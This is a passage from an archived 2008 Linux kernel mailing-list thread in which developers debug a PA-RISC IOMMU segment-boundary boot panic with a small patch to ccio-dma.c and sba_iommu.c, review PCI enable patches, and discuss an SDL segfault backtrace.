 [<101083a0>] handle_interruption+0x624/0x6b4
 [<1010b078>] intr_check_sig+0x0/0x34
 [<1015d07c>] rmqueue_bulk+0x44/0x9c
 [<1015e778>] __alloc_pages+0xc4/0x388
 [<1015ea74>] __get_free_pages+0x38/0x74
 [<1029ed64>] sba_alloc_consistent+0x60/0xd4
 [<105852f0>] tulip_init_one+0x2ac/0xd10
 [<1029acb0>] pci_device_probe+0x70/0xa8
 [<102dad50>] driver_probe_device+0xa4/0x1bc
 [<102db01c>] __driver_attach+0x60/0xf4
 [<102da1dc>] bus_for_each_dev+0x58/0xa0
 [<102da978>] bus_add_driver+0xd4/0x1e0
 [<102db34c>] driver_register+0x48/0x108
 [<10565880>] kernel_init+0x120/0x33c

Backtrace:
 [<10107c6c>] die_if_kernel+0xa0/0x1b0
 [<101083a0>] handle_interruption+0x624/0x6b4
 [<1010b078>] intr_check_sig+0x0/0x34
 [<1015d07c>] rmqueue_bulk+0x44/0x9c
 [<1015e778>] __alloc_pages+0xc4/0x388
 [<1015ea74>] __get_free_pages+0x38/0x74
 [<1029ed64>] sba_alloc_consistent+0x60/0xd4
 [<105852f0>] tulip_init_one+0x2ac/0xd10
 [<1029acb0>] pci_device_probe+0x70/0xa8
 [<102dad50>] driver_probe_device+0xa4/0x1bc
 [<102db01c>] __driver_attach+0x60/0xf4
 [<102da1dc>] bus_for_each_dev+0x58/0xa0
 [<102da978>] bus_add_driver+0xd4/0x1e0
 [<102db34c>] driver_register+0x48/0x108
 [<10565880>] kernel_init+0x120/0x33c
 [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24

Kernel panic - not syncing: Attempted to kill init!

(I haven't a lot a spare time right now, but I will do my best to help as much
as I can).

r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <tomof@acm.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Mon, 3 Mar 2008 21:22:07 +0900
Lines: 91
Approved: news@gmane.org
Message-ID: <20080303212206E.tomof@acm.org>
References: <JX5IQO$1ADFF18D173371DE06D03C11EFEA34BA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204547478 12180 80.91.229.12 (3 Mar 2008 12:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 12:31:18 +0000 (UTC)
Cc: kyle@mcmartin.ca, fujita.tomonori@lab.ntt.co.jp,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	tomof@acm.org, kyle@parisc-linux.org, matthew@wil.cx,
	grundler@parisc-linux.org, akpm@linux-foundation.org
To: rubisher@scarlet.be
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 13:31:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JW9pD-00017k-9Q
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 13:31:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751763AbYCCMat (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 07:30:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751599AbYCCMat
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 07:30:49 -0500
Original-Received: from mo10.iij4u.or.jp ([210.138.174.78]:37497 "EHLO mo10.iij4u.or.jp"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751418AbYCCMas (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 07:30:48 -0500
Original-Received: by mo.iij4u.or.jp (mo10) id m23CMIsU022272; Mon, 3 Mar 2008 21:22:18 +0900
Original-Received: from localhost (bmdk2226.bmobile.ne.jp [203.180.16.226])
	by mbox.iij4u.or.jp (mbox10) id m23CM7Zh017604
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Mon, 3 Mar 2008 21:22:10 +0900
Original-Cc: fujita.tomonori@lab.ntt.co.jp
In-Reply-To: <JX5IQO$1ADFF18D173371DE06D03C11EFEA34BA@scarlet.be>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 86
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:156 gmane.linux.kernel:648781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/156>

On Mon,  3 Mar 2008 12:04:00 +0100
"rubisher" <rubisher@scarlet.be> wrote:

> > On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> > > This patchset is another sequel to my patchset to fix iommu segment
> > > boundary problems, IOMMUs allocate memory areas without considering a
> > > low level driver's segment boundary limits:
> > > 
> > > http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> > > 
> > 
> > This looks fine. Are you able to test this? If not, we can set you up
> > with an account on a machine with remote console and all that jazz, if
> > you'd like to.
> > 
> > cheers, Kyle
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > 
> Sorry for bad news but using a kernel known to work fine on my b2k (kyle's
> parisc-2.6.git date 2008_02_21) against which I applied those patches, this
> new kernel 32bit up failled to boot with this panic message:
> 
> Linux Tulip driver version 1.1.15 (Feb 27, 2007)
> ------------[ cut here ]------------
> Kernel BUG at 1029520c [verbose debug info unavailable]
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  0004ff0e 1054c010 1029e774 80000000
> r04-07  1fc2b020 00000100 00000000 00000001
> r08-11  1fc1d454 1fc2c000 00000000 80000000
> r12-15  00000001 00000001 1fc10858 0001a000
> r16-19  00000011 104a23d0 00000000 ffffffff
> r20-23  00001000 00000000 1fdb6a00 00000000
> r24-27  00000000 00000001 00000100 10507010
> r28-31  00000100 00100000 1fc205c0 00000000
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
> IASQ: 00000000 00000000 IAOQ: 1029520c 10295210
>  IIR: 03ffe01f    ISR: 1024003f  IOR: 0802056c
>  CPU:        0   CR30: 1fc20000 CR31: 11111111
>  ORIG_R28: 0000000f
>  IAOQ[0]: iommu_is_span_boundary+0x28/0x30
>  IAOQ[1]: iommu_is_span_boundary+0x2c/0x30
>  RP(r2): sba_alloc_range+0x23c/0x4f8

Thanks a lot for testing!

Really sorry about the bug. Can you try the following patch? It's on
the top of the patchset.

Thanks,

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 2f3b364..d0855a1 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -366,8 +366,8 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 	** ggg sacrifices another 710 to the computer gods.
 	*/
 
-	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
-	boundary_size >>= IOVP_SHIFT;
+	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
+			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
 
 	if (pages_needed <= 8) {
 		/*
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e834127..bdbe780 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -341,8 +341,8 @@ sba_search_bitmap(struct ioc *ioc, struct device *dev,
 	unsigned long shift;
 	int ret;
 
-	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
-	boundary_size >>= IOVP_SHIFT;
+	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
+			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
 
 #if defined(ZX1_SUPPORT)
 	BUG_ON(ioc->ibase & ~IOVP_MASK);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Mon,  3 Mar 2008 15:43:38 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <JX5SWQ$A94FF0865B1A0288BBE6757AA17AC075@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1204555820 11089 80.91.229.12 (3 Mar 2008 14:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 14:50:20 +0000 (UTC)
Cc: "kyle" <kyle@mcmartin.ca>,
	"fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"tomof" <tomof@acm.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"akpm" <akpm@linux-foundation.org>,
	"fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>,
	"rubisher" <rubisher@scarlet.be>
To: "tomof" <tomof@acm.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757512AbYCCOt7@vger.kernel.org Mon Mar 03 15:50:44 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757512AbYCCOt7@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWC03-0004es-NN
	for glk-linux-kernel-3@gmane.org; Mon, 03 Mar 2008 15:50:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757512AbYCCOt7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 3 Mar 2008 09:49:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753354AbYCCOtt
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 3 Mar 2008 09:49:49 -0500
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:60044 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753240AbYCCOts convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 3 Mar 2008 09:49:48 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m23EhcjB019872;
	Mon, 3 Mar 2008 15:43:39 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:648840 gmane.linux.ports.parisc:157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/157>

> On Mon,  3 Mar 2008 12:04:00 +0100
> "rubisher" <rubisher@scarlet.be> wrote:
> 
> > > On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> > > > This patchset is another sequel to my patchset to fix iommu segment
> > > > boundary problems, IOMMUs allocate memory areas without considering a
> > > > low level driver's segment boundary limits:
> > > > 
> > > > http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> > > > 
> > > 
> > > This looks fine. Are you able to test this? If not, we can set you up
> > > with an account on a machine with remote console and all that jazz, if
> > > you'd like to.
> > > 
> > > cheers, Kyle
> > > --
[snip]
> Thanks a lot for testing!
> 
Always welcome ;-)

> Really sorry about the bug.

Don't worry, those boxes are there for my fun...

> Can you try the following patch? It's on the top of the patchset.
> 
Good catch: now this first testing system (I mean the b2k) is up and running ;-)

I will now try the ccio_dma driver on a d380 ...

hth,
    r.

> Thanks,
> 
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 2f3b364..d0855a1 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -366,8 +366,8 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev,
size_t size)
>  	** ggg sacrifices another 710 to the computer gods.
>  	*/
>  
> -	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
> -	boundary_size >>= IOVP_SHIFT;
> +	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
> +			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
>  
>  	if (pages_needed <= 8) {
>  		/*
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index e834127..bdbe780 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -341,8 +341,8 @@ sba_search_bitmap(struct ioc *ioc, struct device *dev,
>  	unsigned long shift;
>  	int ret;
>  
> -	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
> -	boundary_size >>= IOVP_SHIFT;
> +	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
> +			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
>  
>  #if defined(ZX1_SUPPORT)
>  	BUG_ON(ioc->ibase & ~IOVP_MASK);
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Barnes <jbarnes@virtuousgeek.org>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [patch 4/6] ARM: move bridge enable out of
	pcibios_enable_resources()
Date: Mon, 3 Mar 2008 09:59:35 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200803030959.35625.jbarnes@virtuousgeek.org>
References: <20080228000437.880811124@ldl.fc.hp.com>
	<20080228001053.013269726@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204567371 26490 80.91.229.12 (3 Mar 2008 18:02:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 18:02:51 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-arm-kernel@lists.arm.linux.org.uk,
	Russell King <rmk@arm.linux.org.uk>, Bjorn Helgaas <bjorn.helgaas@hp.com>
To: linux-pci@atrey.karlin.mff.cuni.cz
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org Mon Mar 03 19:03:16 2008
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWF0L-0004kV-Un
	for glppd-linuxppc64-dev@m.gmane.org; Mon, 03 Mar 2008 19:03:14 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 437CCDE03F
	for <glppd-linuxppc64-dev@m.gmane.org>; Tue,  4 Mar 2008 05:01:04 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from outbound-mail-103.bluehost.com (outbound-mail-103.bluehost.com
	[69.89.22.13]) by ozlabs.org (Postfix) with SMTP id 03EB9DDEDF
	for <linuxppc-dev@ozlabs.org>; Tue,  4 Mar 2008 05:00:44 +1100 (EST)
Original-Received: (qmail 24509 invoked by uid 0); 3 Mar 2008 18:00:19 -0000
Original-Received: from unknown (HELO box128.bluehost.com) (69.89.22.128)
	by outboundmail3.bluehost.com with SMTP; 3 Mar 2008 18:00:19 -0000
Original-Received: from [75.111.27.49] (helo=ak-157.ak.intel.com)
	by box128.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68) (envelope-from <jbarnes@virtuousgeek.org>)
	id 1JWExX-0001KQ-B4; Mon, 03 Mar 2008 11:00:19 -0700
User-Agent: KMail/1.9.6 (enterprise 0.20071204.744707)
In-Reply-To: <20080228001053.013269726@ldl.fc.hp.com>
Content-Disposition: inline
X-Identified-User: {642:box128.bluehost.com:virtuous:virtuousgeek.org}
	{sentby:smtp auth 75.111.27.49 authed with
	jbarnes@virtuousgeek.org}
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:36567 gmane.linux.kernel.cross-arch:18 gmane.linux.ports.parisc:158 gmane.linux.ports.arm.kernel:39167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/158>

On Wednesday, February 27, 2008 4:04 pm Bjorn Helgaas wrote:
> Move bridge enable from pcibios_enable_resources() to
> platform_pci_enable_device() so the former matches other
> architectures and can be shared.

I really like the direction of these patches.  Getting PCI resources assigned 
& devices setup correctly for new arches has always been a bit more trouble 
than it should be...

>
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>
>
> Index: work6/arch/arm/kernel/bios32.c
> ===================================================================
> --- work6.orig/arch/arm/kernel/bios32.c	2008-02-27 11:25:29.000000000 -0700
> +++ work6/arch/arm/kernel/bios32.c	2008-02-27 11:55:59.000000000 -0700
> @@ -683,15 +683,32 @@
>  			cmd |= PCI_COMMAND_MEMORY;
>  	}
>
> +	if (cmd != old_cmd) {
> +		printk("PCI: enabling device %s (%04x -> %04x)\n",
> +		       pci_name(dev), old_cmd, cmd);

Probably worth giving this printk a prefix at some point (doesn't matter for 
this patchset though since you're just moving it around).

Rest of it looks good.

Jesse

From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault when using SDL with POSIX timers
Date: Mon, 3 Mar 2008 18:27:47 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20080303182747.GA23279@miranda.arrow>
References: <20080303044727.GA22047@miranda.arrow>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204569010 805 80.91.229.12 (3 Mar 2008 18:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 18:30:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 19:30:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWFQh-0006ez-TZ
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 19:30:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750960AbYCCS3y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 13:29:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751831AbYCCS3y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 13:29:54 -0500
Original-Received: from mtaout03-winn.ispmail.ntl.com ([81.103.221.49]:49226 "EHLO
	mtaout03-winn.ispmail.ntl.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750960AbYCCS3x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 13:29:53 -0500
Original-Received: from aamtaout03-winn.ispmail.ntl.com ([81.103.221.35])
          by mtaout03-winn.ispmail.ntl.com with ESMTP
          id <20080303183038.FVB19530.mtaout03-winn.ispmail.ntl.com@aamtaout03-winn.ispmail.ntl.com>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 18:30:38 +0000
Original-Received: from miranda.arrow ([213.107.26.151])
          by aamtaout03-winn.ispmail.ntl.com with ESMTP
          id <20080303183237.XFFP26699.aamtaout03-winn.ispmail.ntl.com@miranda.arrow>
          for <linux-parisc@vger.kernel.org>;
          Mon, 3 Mar 2008 18:32:37 +0000
Original-Received: from sdb by miranda.arrow with local (Exim 4.63)
	(envelope-from <sdbrady@ntlworld.com>)
	id 1JWFO8-00064b-14
	for linux-parisc@vger.kernel.org; Mon, 03 Mar 2008 18:27:48 +0000
Content-Disposition: inline
In-Reply-To: <20080303044727.GA22047@miranda.arrow>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: sdbrady@ntlworld.com
X-SA-Exim-Scanned: No (on miranda.arrow); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/159>

Here's a better backtrace, produced with libc6-dbg installed:

#0  0x00000000 in ?? ()
#1  0x402b7aac in _dl_close_worker () from /lib/ld.so.1
#2  0x402b7c08 in _dl_close () from /lib/ld.so.1
#3  0x400690dc in dlclose_doit () from /lib/libdl.so.2
#4  0x402b1834 in _dl_catch_error () from /lib/ld.so.1
#5  0x40069590 in _dlerror_run () from /lib/libdl.so.2
#6  0x40069118 in dlclose () from /lib/libdl.so.2
#7  0x407737f4 in ?? () from /usr/lib/libSDL-1.2.so.0
#8  0x40769ff8 in SDL_VideoQuit () from /usr/lib/libSDL-1.2.so.0
#9  0x4073cc78 in SDL_QuitSubSystem () from /usr/lib/libSDL-1.2.so.0
#10 0x4073cd20 in SDL_Quit () from /usr/lib/libSDL-1.2.so.0
#11 0x000109d4 in main ()

The double-free when using SDL's parachute seems to be a red-herring --
SDL_Quit is called a second time, in response to the segfault, and that
causes the double-free.

BTW, tausq has pointed out that there's no crash if SDL_INIT_VIDEO is
dropped from the call to SDL_Init().  I've also found that it does not
segfault when using the fbdev with SDL_VIDEODRIVER set to directfb or
fbcon -- but it does segfault when using the x11 driver, which I what
I had originally tried.

Any idea what could be going wrong in dlclose()?
-- 
Stuart Brady
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Barnes <jbarnes@virtuousgeek.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 5/6] PARISC: move PERR & SERR enables out of pcibios_enable_resources()
Date: Mon, 3 Mar 2008 10:30:58 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <200803031030.59305.jbarnes@virtuousgeek.org>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.209248743@ldl.fc.hp.com> <20080228173125.GA16270@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204569136 1502 80.91.229.12 (3 Mar 2008 18:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 18:32:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Bjorn Helgaas <bjorn.helgaas@hp.com>,
	linux-arch@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org,
	Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: linux-pci@atrey.karlin.mff.cuni.cz
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 19:32:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWFST-0007Kz-E4
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 19:32:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752026AbYCCSbn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 13:31:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752020AbYCCSbn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 13:31:43 -0500
Original-Received: from outbound-mail-104.bluehost.com ([69.89.22.14]:33373 "HELO
	outbound-mail-104.bluehost.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752026AbYCCSbn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 13:31:43 -0500
Original-Received: (qmail 31176 invoked by uid 0); 3 Mar 2008 18:31:41 -0000
Original-Received: from unknown (HELO box128.bluehost.com) (69.89.22.128)
  by outboundmail3.bluehost.com with SMTP; 3 Mar 2008 18:31:41 -0000
Original-Received: from [75.111.27.49] (helo=ak-157.ak.intel.com)
	by box128.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <jbarnes@virtuousgeek.org>)
	id 1JWFRt-0007mO-9L; Mon, 03 Mar 2008 11:31:41 -0700
User-Agent: KMail/1.9.6 (enterprise 0.20071204.744707)
In-Reply-To: <20080228173125.GA16270@colo.lackof.org>
Content-Disposition: inline
X-Identified-User: {642:box128.bluehost.com:virtuous:virtuousgeek.org} {sentby:smtp auth 75.111.27.49 authed with jbarnes@virtuousgeek.org}
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:160 gmane.linux.kernel.cross-arch:19 gmane.linux.ports.arm.kernel:39168 gmane.linux.ports.ppc64.devel:36568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/160>

On Thursday, February 28, 2008 9:31 am Grant Grundler wrote:
